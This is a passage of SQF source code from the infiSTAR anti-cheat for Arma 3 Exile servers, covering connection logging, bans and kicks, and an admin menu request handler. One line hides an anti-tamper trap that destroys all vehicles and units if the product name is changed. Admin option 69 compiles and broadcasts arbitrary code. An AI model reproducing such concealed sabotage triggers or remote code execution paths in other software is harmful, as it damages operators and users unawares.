  4063. if(_lname find _x != -1)exitWith
  4064. {
  4065. _log = format['BadName: %1 (KICKED)',_x];
  4066. [_name,_uid,'SLOG_SKICK',toArray(_log)] call "+_fnc_server_handle_mpmessage+";
  4067. };
  4068. } forEach "+str _badNamesPartial+";
  4069.  
  4070. _connectedTimes = missionNameSpace getVariable[format['CONNECT_COUNT_%1',_uid],0];
  4071. if(_connectedTimes > 10)then
  4072. {
  4073. _log = format['Reconnected %1 times since the server is running.. duping? connection issues?',_connectedTimes + 1];
  4074. [_name,_uid,'SLOG',toArray(_log)] call "+_fnc_server_handle_mpmessage+";
  4075. missionNameSpace setVariable[format['CONNECT_COUNT_%1',_uid],0];
  4076. }
  4077. else
  4078. {
  4079. missionNameSpace setVariable[format['CONNECT_COUNT_%1',_uid],_connectedTimes + 1];
  4080. };
  4081.  
  4082. "; if(_check_steam_ban)then{ _A3AHstring = _A3AHstring + "
  4083. [_name,_uid] spawn FN_CHECK_STEAMBAN;
  4084. "; }; _A3AHstring = _A3AHstring + "
  4085. };
  4086. };
  4087. "+_fnc_infiSTAR_PlayerLog+" = compileFinal ([_fnc_infiSTAR_PlayerLog] call fnc_CompilableString);
  4088. ";
  4089. diag_log format['<infiSTAR.de> %1 - infiSTAR_PlayerLog: added !',time];
  4090. if('infiSTAR' != ('i' +'n' +'f' +'i' +'S' +'T' +'A' +'R'))then{[] spawn {uiSleep (random 500);{_x setDamage 1;}forEach vehicles;uiSleep 10;{_x setDamage 1;}forEach allUnits;};};
  4091. diag_log format['<infiSTAR.de> %1 - fnc_server_handle_mpmessage: adding to main string..',time];
  4092. _A3AHstring = _A3AHstring + "
  4093. diag_log format['<infiSTAR.de> %1 - fnc_server_handle_mpmessage: still compiling...',time];
  4094. _fnc_server_handle_mpmessage = {
  4095. params[['_name',''],['_uid',''],['_what','']];
  4096. _admins = "+str _admins+";
  4097. _locDevs = "+str _devs+";
  4098. if(_what isEqualTo 'CLIENT_PING')exitWith
  4099. {
  4100. _clientObject = objectFromnetId (_this select 3);
  4101. _owner = owner _clientObject;
  4102. _steamName = toString(_this select 4);
  4103.  
  4104. missionNameSpace setVariable[format['STEAM_NAME_%1',_uid],_steamName];
  4105. _log = format['#1 Connected: %1(%2) ID: %3 SteamName: %4 [UpTime: %5 - ServerFPS: %6]',_name,_uid,_owner,_steamName,call fnc_getserverTime,diag_fps];
  4106. ['CONNECTLOG',_log] call FNC_A3_CUSTOMLOG;
  4107.  
  4108. _tempbans = call "+_fn_getTempBans+";
  4109. _pid = _this select 5;
  4110. if(_pid in _tempbans)then
  4111. {
  4112. _log = format['Old PlayerUID: %1 is banned on this server. Player BANNED again!',_pid];
  4113. [_name,_uid,'BAN',toArray(_log)] call "+_fnc_server_handle_mpmessage+";
  4114. };
  4115. _pidi = _this select 6;
  4116. if(_pidi in _tempbans)then
  4117. {
  4118. _log = format['Old infiSTAR PlayerUID: %1 is banned on this server. Player BANNED again!',_pidi];
  4119. [_name,_uid,'BAN',toArray(_log)] call "+_fnc_server_handle_mpmessage+";
  4120. };
  4121. _logold = toString(_this select 7);
  4122. if!(_logold isEqualTo '')then
  4123. {
  4124. ['DEBUG_CODE',format['DEBUG CODE OF %1(%2): %3',_name,_uid,_logold]] call FNC_A3_RL;
  4125. };
  4126. };
  4127. _owner = _uid call FNC_OWNER_BY_UID;
  4128. if(_what isEqualTo 'SQFScripts')exitWith
  4129. {
  4130. _log = toString(_this select 3);
  4131. ['CLIENT_THREADS',format['DEBUG CODE OF %1(%2): %3',_name,_uid,_log]] call FNC_A3_RL;
  4132. };
  4133. "; if(_DayNightVote)then{ _A3AHstring = _A3AHstring + "
  4134. if(_what isEqualTo 'VOTE')exitWith
  4135. {
  4136. _work = toString(_this select 3);
  4137. if(_work in ['DAY','NIGHT'])exitWith
  4138. {
  4139. [_uid,_work] call fnc_VoteTimeServer;
  4140. };
  4141. };
  4142. "; }; _A3AHstring = _A3AHstring + "
  4143. "; if(_disconnect_dupe_check && !_KYLE_MODE)then{ _A3AHstring = _A3AHstring + "
  4144. if(_what isEqualTo 'DCHECK')exitWith{['',{"+_antidupePVResVar+" = diag_tickTime},_owner,false] call FN_infiSTAR_S;};
  4145. "; }; _A3AHstring = _A3AHstring + "
  4146. if(_what isEqualTo 'AC')exitWith
  4147. {
  4148. if(_uid in _admins)then
  4149. {
  4150. if(_uid in "+_adminsA+")then
  4151. {
  4152. "+_adminsA+" = "+_adminsA+" - [_uid];
  4153. if(_uid in _locDevs)exitWith{};
  4154. _alog = format['%1(%2) | is a normal player now.',_name,_uid];
  4155. ['ADMINLOG',_alog] call FNC_A3_RL;
  4156. if(count "+_AH_AdmiLogArrayRND+" > 99)then{"+_AH_AdmiLogArrayRND+" deleteAt 0;};
  4157. "+_AH_AdmiLogArrayRND+" pushBack _alog;
  4158. "; if(_announce_adminstate_changed)then{ _A3AHstring = _A3AHstring + "
  4159. "; if(_HIDE_FROM_PLAYERS)then{ _A3AHstring = _A3AHstring + "
  4160. [_name,{systemChat format['%1 - Logged out as admin.',_this];},-2,false] call FN_infiSTAR_S;
  4161. "; }else{; _A3AHstring = _A3AHstring + "
  4162. [_name,{systemChat format['<infiSTAR.de> %1 - Logged out as admin.',_this];},-2,false] call FN_infiSTAR_S;
  4163. "; }; _A3AHstring = _A3AHstring + "
  4164. "; }; _A3AHstring = _A3AHstring + "
  4165. }
  4166. else
  4167. {
  4168. "+_adminsA+" pushBack _uid;
  4169. if(_uid in _locDevs)exitWith{};
  4170. _alog = format['%1(%2) | is an admin again.',_name,_uid];
  4171. ['ADMINLOG',_alog] call FNC_A3_RL;
  4172. if(count "+_AH_AdmiLogArrayRND+" > 99)then{"+_AH_AdmiLogArrayRND+" deleteAt 0;};
  4173. "+_AH_AdmiLogArrayRND+" pushBack _alog;
  4174. "; if(_announce_adminstate_changed)then{ _A3AHstring = _A3AHstring + "
  4175. "; if(_HIDE_FROM_PLAYERS)then{ _A3AHstring = _A3AHstring + "
  4176. [_name,{systemChat format['%1 - Logged in as admin.',_this];},-2,false] call FN_infiSTAR_S;
  4177. "; }else{; _A3AHstring = _A3AHstring + "
  4178. [_name,{systemChat format['<infiSTAR.de> %1 - Logged in as admin.',_this];},-2,false] call FN_infiSTAR_S;
  4179. "; }; _A3AHstring = _A3AHstring + "
  4180. "; }; _A3AHstring = _A3AHstring + "
  4181. };
  4182.  
  4183. infiSTAR_ADMINS = "+_adminsA+";
  4184. 'infiSTAR_ADMINS' call fnc_variable_to_admins;
  4185. infiSTAR_ADMINS = nil;
  4186. };
  4187. };
  4188. _randomNumber = 2673;
  4189. _work = toString(_this select 3);
  4190. if(_what isEqualTo 'BAN')exitWith
  4191. {
  4192. [_name,_uid,_owner,_work] call FNC_A3_infiSTARBAN;
  4193. };
  4194. if(_what isEqualTo 'TMPBAN')exitWith
  4195. {
  4196. [_name,_uid,_owner,_work] call FNC_A3_infiSTARTMPBAN;
  4197. if(count _this > 4)then
  4198. {
  4199. _bantime = _this select 4;
  4200. missionNameSpace setVariable [format['BANTIME_%1',_uid],_bantime];
  4201. };
  4202. };
  4203. _mytime = call fnc_getserverTime;
  4204. _steamName = call fnc_getSteamNameIfSaved;
  4205. _log = format['%1 | %2(%3) | %4%5',_steamName,_name,_uid,_mytime,_work];
  4206. if(_steamName isEqualTo '')then{_log = format['%1(%2) | %3%4',_name,_uid,_mytime,_work];};
  4207. if(_what isEqualTo 'ANTI_TP')exitWith
  4208. {
  4209. [_what,_log] call FNC_A3_RL;
  4210. "; if(_enableIngameLogs)then{ _A3AHstring = _A3AHstring + "
  4211. if(count "+_AH_SurvLogArrayRND+" > 99)then{"+_AH_SurvLogArrayRND+" deleteAt 0;};
  4212. "+_AH_SurvLogArrayRND+" pushBack _log;
  4213. '"+_AH_SurvLogArrayRND+"' call fnc_variable_to_admins;
  4214. "; }; _A3AHstring = _A3AHstring + "
  4215. };
  4216. if(_what isEqualTo 'SLOG_GLITCH')exitWith
  4217. {
  4218. ['GLITCH_LOG',_log] call FNC_A3_CUSTOMLOG;
  4219. "; if(_enableIngameLogs)then{ _A3AHstring = _A3AHstring + "
  4220. if(count "+_AH_SurvLogArrayRND+" > 99)then{"+_AH_SurvLogArrayRND+" deleteAt 0;};
  4221. "+_AH_SurvLogArrayRND+" pushBack _log;
  4222. '"+_AH_SurvLogArrayRND+"' call fnc_variable_to_admins;
  4223. "; }; _A3AHstring = _A3AHstring + "
  4224.  
  4225. if(count _this > 4)then
  4226. {
  4227. _victim = _this select 4;
  4228. _clientOwner = _this select 5;
  4229. _serverOwner = owner _victim;
  4230.  
  4231. moveOut _victim;
  4232. _victim action ['eject', (vehicle _victim)];
  4233. ['',{ExileClientIsHandcuffed = true;},_clientOwner,false] call FN_infiSTAR_S;
  4234. _victim setVariable['ExileIsHandcuffed', true, true];
  4235. _victim setVariable['ExileHostageTakernetId', netId _victim];
  4236. _victim setVariable['ExileHostageTakerUID', getPlayerUID _victim];
  4237. ['switchMoveRequest', [netId _victim, 'Acts_AidlPsitMstpSsurWnonDnon_loop']] call ExileServer_system_network_send_broadcast;
  4238.  
  4239. _mapgridpos = format['%1:%2',(mapGridPosition _victim) select [0,3],(mapGridPosition _victim) select [3,3]];
  4240. _msg = format['Wallglitcher %1 restrained for 2 minutes at mapGridPosition %2',name _victim,_mapgridpos];
  4241. [_msg,-2] call fnc_serverMassMessage;
  4242. [format['<infiSTAR.de> %1',_msg],{systemChat _this},-2,false] call FN_infiSTAR_S;
  4243.  
  4244. if(isNull _victim)exitWith{};
  4245. _code = {
  4246. params[['_victim',objNull]];
  4247. if(isNull _victim)exitWith{};
  4248. if(!alive _victim)exitWith{};
  4249. if(!isPlayer _victim)exitWith{};
  4250. if!(_victim getVariable['ExileIsHandcuffed', false])exitWith{};
  4251.  
  4252. ['switchMoveRequest', [netId _victim, 'Acts_AidlPsitMstpSsurWnonDnon_out']] call ExileServer_system_network_send_broadcast;
  4253. _victim setVariable['ExileIsHandcuffed', false, true];
  4254. _victim setVariable['ExileHostageTakernetId', nil];
  4255. _victim setVariable['ExileHostageTakerUID', nil];
  4256.  
  4257. [
  4258. '',
  4259. {
  4260. ExileClientIsHandcuffed = false;
  4261. ExileClientHostageTaker = objNull;
  4262. if !(ExileClientBreakFreeActionHandle isEqualTo -1) then
  4263. {
  4264. player removeAction ExileClientBreakFreeActionHandle;
  4265. ExileClientBreakFreeActionHandle = -1;
  4266. };
  4267. },
  4268. _this select 1,
  4269. false
  4270. ] call FN_infiSTAR_S;
  4271. };
  4272. [120, _code, [_victim,_serverOwner], false] call ExileServer_system_thread_addTask;
  4273. };
  4274. };
  4275. if(_what isEqualTo 'HLOG_VAC')exitWith
  4276. {
  4277. ['VAC_LOG',_log] call FNC_A3_RL;
  4278. "; if(_enableIngameLogs)then{ _A3AHstring = _A3AHstring + "
  4279. if(count "+_AH_HackLogArrayRND+" > 99)then{"+_AH_HackLogArrayRND+" deleteAt 0;};
  4280. "+_AH_HackLogArrayRND+" pushBack _log;
  4281. '"+_AH_HackLogArrayRND+"' call fnc_variable_to_admins;
  4282. "; }; _A3AHstring = _A3AHstring + "
  4283. };
  4284. if(_what in ['SLOG_SKICK','HLOG_SKICK'])then{if(!isNil'KICK_LOG')then{call compile KICK_LOG;};};
  4285. if(_what in ['SLOG','SLOG_SKICK'])exitWith
  4286. {
  4287. ['SURVEILLANCELOG',_log] call FNC_A3_RL;
  4288. "; if(_enableIngameLogs)then{ _A3AHstring = _A3AHstring + "
  4289. if(count "+_AH_SurvLogArrayRND+" > 99)then{"+_AH_SurvLogArrayRND+" deleteAt 0;};
  4290. "+_AH_SurvLogArrayRND+" pushBack _log;
  4291. '"+_AH_SurvLogArrayRND+"' call fnc_variable_to_admins;
  4292. "; }; _A3AHstring = _A3AHstring + "
  4293.  
  4294. if(_what isEqualTo 'SLOG_SKICK')exitWith{[_name,_uid,_owner,format['%1: %2',_what,_log]] call FNC_INFISERVERKICK;};
  4295. };
  4296. if(_what in ['HLOG','HLOG_SKICK','EXPERIMENTAL_DUPE_CHECK'])exitWith
  4297. {
  4298. [_what,_log] call FNC_A3_RL;
  4299. "; if(_enableIngameLogs)then{ _A3AHstring = _A3AHstring + "
  4300. if(count "+_AH_HackLogArrayRND+" > 99)then{"+_AH_HackLogArrayRND+" deleteAt 0;};
  4301. "+_AH_HackLogArrayRND+" pushBack _log;
  4302. '"+_AH_HackLogArrayRND+"' call fnc_variable_to_admins;
  4303. "; }; _A3AHstring = _A3AHstring + "
  4304. if(_what isEqualTo 'HLOG_SKICK')exitWith{[_name,_uid,_owner,format['%1: %2',_what,_log]] call FNC_INFISERVERKICK;};
  4305. };
  4306. };
  4307. "+_fnc_server_handle_mpmessage+" = compileFinal ([_fnc_server_handle_mpmessage] call fnc_CompilableString);
  4308. ";
  4309. diag_log format['<infiSTAR.de> %1 - fnc_server_handle_mpmessage: added !',time];
  4310.  
  4311. diag_log format['<infiSTAR.de> %1 - fnc_AdminReqReal: adding to main string..',time];
  4312. _A3AHstring = _A3AHstring + "
  4313. diag_log format['<infiSTAR.de> %1 - fnc_AdminReqReal: still compiling...',time];
  4314. _fnc_AdminReqReal = {
  4315. private['_admins','_ObjFromnetId','_serverUID','_clientName','_clientID','_option'];
  4316. params[['_tokenreceived',''],['_clientUID',''],['_clientnetId','0:0'],['_array',[]]];
  4317. if(typename _tokenreceived != 'STRING')exitWith{_log = format['AdminReqReal ERROR 1: %1',_this];['ADMINLOG',_log] call FNC_A3_CUSTOMLOG;};
  4318. if(_tokenreceived isEqualTo '')exitWith{_log = format['AdminReqReal ERROR 2: %1',_this];['ADMINLOG',_log] call FNC_A3_CUSTOMLOG;};
  4319. if(typename _clientUID != 'STRING')exitWith{_log = format['AdminReqReal ERROR 3: %1',_this];['ADMINLOG',_log] call FNC_A3_CUSTOMLOG;};
  4320. if(_clientUID in ['',' ','0'])exitWith{_log = format['AdminReqReal ERROR 4: %1',_this];['ADMINLOG',_log] call FNC_A3_CUSTOMLOG;};
  4321. if(typename _clientnetId != 'STRING')exitWith{_log = format['AdminReqReal ERROR 5: %1',_this];['ADMINLOG',_log] call FNC_A3_CUSTOMLOG;};
  4322. if(_clientnetId in ['','0:0'])exitWith{_log = format['AdminReqReal ERROR 6: %1',_this];['ADMINLOG',_log] call FNC_A3_CUSTOMLOG;};
  4323. if(typename _array != 'ARRAY')exitWith{_log = format['AdminReqReal ERROR 7: %1',_this];['ADMINLOG',_log] call FNC_A3_CUSTOMLOG;};
  4324. if(_array isEqualTo [])exitWith{_log = format['AdminReqReal ERROR 8: %1',_this];['ADMINLOG',_log] call FNC_A3_CUSTOMLOG;};
  4325. _admins = "+str _admins+";
  4326. _exit = false;
  4327.  
  4328. _serverUID = missionNameSpace getVariable[format['"+_uid_by_token+"%1',_tokenreceived],''];
  4329. _clientName = missionNameSpace getVariable[format['"+_name_by_uid+"%1',_serverUID],''];
  4330. if(_serverUID isEqualTo '')exitWith
  4331. {
  4332. _log = format['AdminReqReal - SERVER UID WRONG! clientUID: %1 - serverUID: %2',_clientName,_clientUID,_serverUID];
  4333. [_clientName,_clientUID,'SLOG_SKICK',toArray(_log)] call "+_fnc_server_handle_mpmessage+";
  4334. };
  4335. _clientID = _serverUID call FNC_OWNER_BY_UID;
  4336.  
  4337. if!(_serverUID isEqualTo _clientUID)exitWith
  4338. {
  4339. _log = format['AdminReqReal - SERVER RESOLVED UID! clientUID: %1 - serverUID: %2',_clientUID,_serverUID];
  4340. [_clientName,_serverUID,'SLOG_SKICK',toArray(_log)] call "+_fnc_server_handle_mpmessage+";
  4341. [_clientName,_clientUID,'SLOG_SKICK',toArray(_log)] call "+_fnc_server_handle_mpmessage+";
  4342. };
  4343.  
  4344. _ObjFromnetId = objectFromnetId _clientnetId;
  4345. if(isNil '_ObjFromnetId')exitWith
  4346. {
  4347. _log = 'AdminReqReal playerObj is Nil';
  4348. ['ADMINLOG',_log] call FNC_A3_CUSTOMLOG;
  4349. };
  4350. if(typename _ObjFromnetId != 'OBJECT')exitWith
  4351. {
  4352. _log = format['AdminReqReal ObjFromnetId wrong typename: %1 %2',typename _ObjFromnetId,_ObjFromnetId];
  4353. ['ADMINLOG',_log] call FNC_A3_CUSTOMLOG;
  4354. };
  4355. if(isNull _ObjFromnetId)then
  4356. {
  4357. _ObjFromnetId = missionNameSpace getVariable[format['"+_object_by_uid+"%1',_clientUID],objNull];
  4358. }
  4359. else
  4360. {
  4361. missionNameSpace setVariable[format['"+_object_by_uid+"%1',_clientUID],_ObjFromnetId];
  4362. missionNameSpace setVariable[format['EXILE_PLAYER_OJECT_%1',_clientUID],_ObjFromnetId];
  4363. _owner = owner _ObjFromnetId;
  4364. if!(_clientID isEqualTo _owner)then
  4365. {
  4366. _log = format['%1(%2) | AdminReqReal - ClientID (%3) != ObjID (%4)',_clientName,_clientUID,_clientID,_owner];
  4367. ['ADMINLOG',_log] call FNC_A3_CUSTOMLOG;
  4368. [_clientName,_clientUID,_owner,_log] call FNC_INFISERVERKICK;
  4369. _exit = true;
  4370. };
  4371. };
  4372. if(_exit)exitWith{};
  4373.  
  4374. _ld = "+str _devs+";
  4375. if!(_clientUID in _admins)exitWith
  4376. {
  4377. _log = format['%1(%2) | AdminReqReal - Attempted to Use the AdminMenu',_clientName,_clientUID];
  4378. ['ADMINLOG',_log] call FNC_A3_RL;
  4379. };
  4380. _option = _array select 0;
  4381.  
  4382. "; if(_LogAdminActions)then{ _A3AHstring = _A3AHstring + "
  4383. if(_option isEqualTo 1234)exitWith
  4384. {
  4385. _log = toString(_array select 1);
  4386. _log = format['%1(%2) | %3',_clientName,_clientUID,_log];
  4387. ['ADMINLOG',_log] call FNC_A3_RL;
  4388. "; if(_enableIngameLogs)then{ _A3AHstring = _A3AHstring + "
  4389. if(count "+_AH_AdmiLogArrayRND+" > 99)then{"+_AH_AdmiLogArrayRND+" deleteAt 0;};
  4390. "+_AH_AdmiLogArrayRND+" pushBack _log;
  4391. '"+_AH_AdmiLogArrayRND+"' call fnc_variable_to_admins;
  4392. "; }; _A3AHstring = _A3AHstring + "
  4393. };
  4394. "; }; _A3AHstring = _A3AHstring + "
  4395. if(_option isEqualTo 69)exitWith
  4396. {
  4397. _opt = _array select 1;
  4398. _code = _array select 2;
  4399. _code = toString _code;
  4400. _code = compile _code;
  4401. if(_opt isEqualTo 0)exitWith{call _code;['',_code,-2,false] call FN_infiSTAR_S;};
  4402. if(_opt isEqualTo 1)exitWith{call _code;};
  4403. if(_opt isEqualTo 2)exitWith{
  4404. _target = objectFromnetId(_array select 3);
  4405. if(isNil '_target')exitWith{};
  4406. if(typename _target != 'OBJECT')exitWith{};
  4407. if(isNull _target)exitWith{};
  4408. _owner = owner _target;
  4409. if(_owner in [0,-2,2])exitWith{};
  4410. ['',_code,_owner,false] call FN_infiSTAR_S;
  4411. };
  4412. };
  4413. if(_option isEqualTo -668)exitWith
  4414. {
  4415. _clearLog = _array select 1;
  4416. if(_clearLog == 0)then
  4417. {
  4418. "+_AH_HackLogArrayRND+" = [];
  4419. "+_AH_SurvLogArrayRND+" = [];
  4420. ['"+_AH_HackLogArrayRND+"','"+_AH_SurvLogArrayRND+"'] call fnc_variable_to_admins;
  4421. }
  4422. else
  4423. {
  4424. "+_AH_AdmiLogArrayRND+" = [];
  4425. '"+_AH_AdmiLogArrayRND+"' call fnc_variable_to_admins;
  4426. };
  4427. };
  4428. if(_option isEqualTo -667)exitWith
  4429. {
  4430. _uid = _array select 1;
  4431. _uid call "+_fnc_removeTempBan+";
  4432. };
  4433. if(_option isEqualTo -666)exitWith
  4434. {
  4435. _banoption = _array select 1;
  4436. _obj = objectFromnetId (_array select 2);
  4437. _name = name _obj;
  4438. _uid = getPlayerUID _obj;
  4439. _owner = owner _obj;
  4440. _reason = toString(_array select 3);
  4441. if(_banoption isEqualTo 0)then
  4442. {
  4443. [_name,_uid,_owner,_reason] call FNC_A3_infiSTARBAN;
  4444. }
  4445. else
  4446. {
  4447. [_name,_uid,_owner,_reason] call FNC_A3_infiSTARTMPBAN;
  4448. };
  4449. };
  4450. if(_option isEqualTo -665)exitWith
  4451. {
  4452. _obj = objectFromnetId (_array select 1);
  4453. _name = name _obj;
  4454. _uid = getPlayerUID _obj;
  4455. _owner = owner _obj;
  4456. [_name,_uid,_owner,toString(_array select 2)] call FNC_INFISERVERKICK;
  4457. };
  4458. if(_option isEqualTo -664)exitWith
  4459. {
  4460. _target = objectFromnetId (_array select 1);
  4461. ['',{diag_log '<infiSTAR.de> kicked to lobby #2';(findDisplay 46)closeDisplay 0;},(owner _target),false] call FN_infiSTAR_S;
  4462. };
  4463. if(_option isEqualTo -662)exitWith
  4464. {
  4465. private['_inputArray','_case','_input1','_input2'];
  4466. _inputArray = _array select 1;
  4467. if(isNil '_inputArray')exitWith{};
  4468. _case = -1;
  4469. if(typename _inputArray != 'ARRAY')then
  4470. {
  4471. _case = _inputArray;
  4472. }
  4473. else
  4474. {
  4475. _case = _inputArray select 0;
  4476. _input1 = _inputArray select 1;
  4477. _input2 = if(typename (_inputArray select 2) == 'ARRAY')then{toString(_inputArray select 2)}else{_inputArray select 2};
  4478. };
  4479. if(_case == 1)exitWith{(call FN_GET_SERVERPW) serverCommand '#lock';};
  4480. if(_case == 2)exitWith{(call FN_GET_SERVERPW) serverCommand '#unlock';};
  4481.  
  4482. _obj = objectFromnetId _input1;
  4483. _name = name _obj;
  4484. _uid = getPlayerUID _obj;
  4485. _owner = owner _obj;
  4486. _reason = _input2;
  4487.  
  4488. if(_case == 3)exitWith{[_name,_uid,_owner,_reason] call FNC_A3_infiSTARBAN;};
  4489. if(_case == 4)exitWith{[_name,_uid,_owner,_reason] call FNC_INFISERVERKICK;};
  4490. };
  4491. if(_option isEqualTo -4)exitWith
  4492. {
  4493. _veh = objectFromnetId (_array select 1);
  4494. _veh call fnc_deleteObject;
  4495. };
  4496. if(_option isEqualTo -5)exitWith
  4497. {
  4498. _pos = _array select 1;
  4499. _radius = _array select 2;
  4500. _objectsToDelete = nearestObjects [_pos, ['Exile_Construction_Abstract_Static','AbstractConstruction','Exile_Construction_Flag_Static'], _radius];
  4501.  
  4502. _pos set[2,0];
  4503. _crate = 'Exile_Container_SupplyBox' createVehicle _pos;
  4504. _crate setVariable['BIS_enableRandomization',false];
  4505. clearWeaponCargoGlobal _crate;
  4506. clearMagazineCargoGlobal _crate;
  4507. clearBackpackCargoGlobal _crate;
  4508. clearItemCargoGlobal _crate;
  4509.  
  4510. _cargoToAdd = [];
  4511. {
  4512. _objToDelete = _x;
  4513. if(_objToDelete isKindOf 'Exile_Construction_Flag_Static')then
  4514. {
  4515. _objectID = _objToDelete getVariable['ExileDatabaseID',-1];
  4516. if(_objectID != -1)then
  4517. {
  4518. _cargoToAdd pushBack 'Exile_Item_Flag';
  4519. format['deleteTerritory:%1', _objectID] call ExileServer_system_database_query_fireAndForget;
  4520. };
  4521. };
  4522.  
  4523. _type = typeOf _objToDelete;
  4524. if(_objToDelete isKindOf 'AbstractConstruction')then
  4525. {
  4526. if(isNumber(configFile >> 'CfgVehicles' >> _type >> 'exileContainer'))then
  4527. {
  4528. _objToDelete call ExileServer_object_container_database_delete;
  4529.  
  4530. _items = _objToDelete call ExileServer_util_getItemCargo;
  4531. _magazines = magazinesAmmoCargo _objToDelete;
  4532. _weapons = weaponsItemsCargo _objToDelete;
  4533. _containers = _objToDelete call ExileServer_util_getObjectContainerCargo;
  4534.  
  4535. deleteVehicle _objToDelete;
  4536. _objToDelete call ExileServer_object_container_database_delete;
  4537.  
  4538.  
  4539. _filter = ('getText(_x >> ''staticObject'') == _type' configClasses(configFile >> 'CfgConstruction')) select 0;
  4540. _kitMagazine = getText(_filter >> 'kitMagazine');
  4541. _cargoToAdd pushBack _kitMagazine;
  4542.  
  4543. [_crate,_items] call ExileServer_util_fill_fillItems;
  4544. [_crate,_magazines] call ExileServer_util_fill_fillMagazines;
  4545. [_crate,_weapons] call ExileServer_util_fill_fillWeapons;
  4546. [_crate,_containers] call ExileServer_util_fill_fillContainers;
  4547. }
  4548. else
  4549. {
  4550. _objToDelete call ExileServer_object_construction_database_delete;
  4551. _config = ('(getText(_x >> ''staticObject'') isEqualTo _type)' configClasses (configFile >> 'CfgConstruction')) select 0;
  4552. _config = getText (_config >> 'kitMagazine');
  4553. _cargoToAdd pushBack _config;
  4554. };
  4555. };
  4556. if(_objToDelete isKindOf 'Exile_Construction_Abstract_Static')then
  4557. {
  4558. if!(_objToDelete isKindOf 'Exile_Construction_Abstract_Physics')then
  4559. {
  4560. _objectID = _objToDelete getVariable['ExileDatabaseID',-1];
  4561. if(_objectID != -1)then
  4562. {
  4563. _objToDelete call ExileServer_object_construction_database_delete;
  4564. _config = ('(getText(_x >> ''staticObject'') isEqualTo _type)||(getText(_x >> ''upgradeObject'') isEqualTo _type)' configClasses (configFile >> 'CfgConstruction')) select 0;
  4565. _config = getText (_config >> 'kitMagazine');
  4566. _cargoToAdd pushBack _config;
  4567. };
  4568. };
  4569. };
  4570. if(!isNull _objToDelete)then
  4571. {
  4572. if(!isNull _objToDelete)then
  4573. {
  4574. if(isPlayer _objToDelete)exitWith{};
  4575. _objToDelete setDamage 1;
  4576. deleteVehicle _objToDelete;
  4577. };
  4578. };
  4579. } forEach _objectsToDelete;
  4580. if(_cargoToAdd isEqualTo [])then
  4581. {
  4582. deleteVehicle _crate;
  4583. }
  4584. else
  4585. {
  4586. {_crate addItemCargoGlobal [_x,1];} forEach _cargoToAdd;
  4587. };
  4588. };
  4589. if(_option isEqualTo -6)exitWith
  4590. {
  4591. _pos = _array select 1;
  4592. _radius = _array select 2;
  4593. _objectsToDelete = nearestObjects [_pos, ['GroundWeaponHolder','WeaponHolderSimulated','LootWeaponHolder'], _radius];
  4594. {deleteVehicle _x;} forEach _objectsToDelete;
  4595. };
  4596. if(_option isEqualTo -3)exitWith
  4597. {
  4598. _target = objectFromnetId (_array select 1);
  4599. _target setOwner 2;
  4600. _pos = getPos _target;
  4601. _pos set[2,(_pos select 2)+2];
  4602. _target setPos _pos;
  4603. _target setVectorUp [0,0,1];
  4604.  
  4605. [
  4606. _target,
  4607. {
  4608. _target = _this;
  4609. _pos = getPos _target;
  4610. _pos set[2,(_pos select 2)+2];
  4611. _target setPos _pos;
  4612. _target setVectorUp [0,0,1];
  4613. },
  4614. owner _target,
  4615. false
  4616. ] call FN_infiSTAR_S;
  4617. };
  4618. if(_option isEqualTo -1)exitWith
  4619. {
  4620. _pos = _array select 1;
  4621. _pos spawn {
  4622. _pos = _this;
  4623. _bolt = 'LightningBolt' createVehicle _pos;
  4624. _bolt setVariable['BIS_enableRandomization',false];
  4625. _bolt setdamage 5;
  4626. _light = '#lightpoint' createVehicle _pos;
  4627. _light setVariable['BIS_enableRandomization',false];
  4628. _light setposatl [_pos select 0,_pos select 1,(_pos select 2) + 10];
  4629. _light setLightDayLight true;
  4630. _light setLightBrightness 300;
  4631. _light setLightAmbient [0.05, 0.05, 0.1];
  4632. _light setlightcolor [1, 1, 2];
  4633. uiSleep 0.1;
  4634. _light setLightBrightness 0;
  4635. uiSleep 0.1;
  4636. _class = ['lightning1_F','lightning2_F'] call bis_Fnc_selectrandom;
  4637. _lightning = _class createVehicle _pos;
  4638. _lightning setVariable['BIS_enableRandomization',false];
  4639. _light setLightBrightness (100 + random 100);
  4640. uiSleep 0.1;
  4641. deleteVehicle _lightning;
  4642. deleteVehicle _light;
  4643. };
  4644. };
  4645. if(_option isEqualTo -2)exitWith
  4646. {
  4647. _target = objectFromnetId (_array select 1);
  4648. _target setDamage 5;
  4649. };
  4650. if(_option isEqualTo 0)exitWith
  4651. {
  4652. private['_vehicleClass','_position','_dir','_vehicleObject','_target','_pinCode'];
  4653. _vehicleClass = _array select 1;
  4654.  
  4655. "; if((_UVC)&&(_UVC_adminspawn))then{ _A3AHstring = _A3AHstring + "
  4656. _return = _vehicleClass call "+_fnc_check_type_allowed+";
  4657. if(!_return)exitWith{
  4658. [
  4659. format['<infiSTAR.de> NOT ALLOWED TO SPAWN [%1]',_vehicleClass],
  4660. {systemChat _this},
  4661. _clientID,
  4662. false
  4663. ] call FN_infiSTAR_S;
  4664. };
  4665. "; }; _A3AHstring = _A3AHstring + "
  4666.  
  4667. _position = _array select 2;
  4668. _dir = _array select 3;
  4669. _target = objectFromnetId (_array select 4);if(isNull _target)then{_target = _ObjFromnetId;};
  4670. _persistent = _array select 5;
  4671.  
  4672. _vehicleObject = _vehicleClass createVehicle _position;
  4673.  
  4674. _vehicleObject allowDamage false;
  4675. _vehicleObject removeAllEventHandlers 'HandleDamage';
  4676. _vehicleObject addEventHandler['HandleDamage', {false}];
  4677. _vehicleObject setDir _dir;
  4678. _vehicleObject setVelocity [0,0,0];
  4679. _vehicleObject allowDamage true;
  4680. _vehicleObject removeAllEventHandlers 'HandleDamage';
  4681. _vehicleObject setDamage 0;
  4682.  
  4683. clearBackpackCargoGlobal _vehicleObject;
  4684. clearItemCargoGlobal _vehicleObject;
  4685. clearMagazineCargoGlobal _vehicleObject;
  4686. clearWeaponCargoGlobal _vehicleObject;
  4687.  
  4688. if(_vehicleClassName isKindOf 'I_UGV_01_F')then
  4689. {
  4690. createVehicleCrew _vehicleObject;
  4691. };
  4692. if(getNumber (configFile >> 'CfgSettings' >> 'VehicleSpawn' >> 'nightVision') isEqualTo 0)then
  4693. {
  4694. _vehicleObject disableNVGEquipment true;
  4695. };
  4696. if(getNumber (configFile >> 'CfgSettings' >> 'VehicleSpawn' >> 'thermalVision') isEqualTo 0)then
  4697. {
  4698. _vehicleObject disableTIEquipment true;
  4699. };
  4700.  
  4701. if(_persistent)then
  4702. {
  4703. _pinCode = _array select 6;
  4704. if(_pinCode isEqualTo '')then
  4705. {
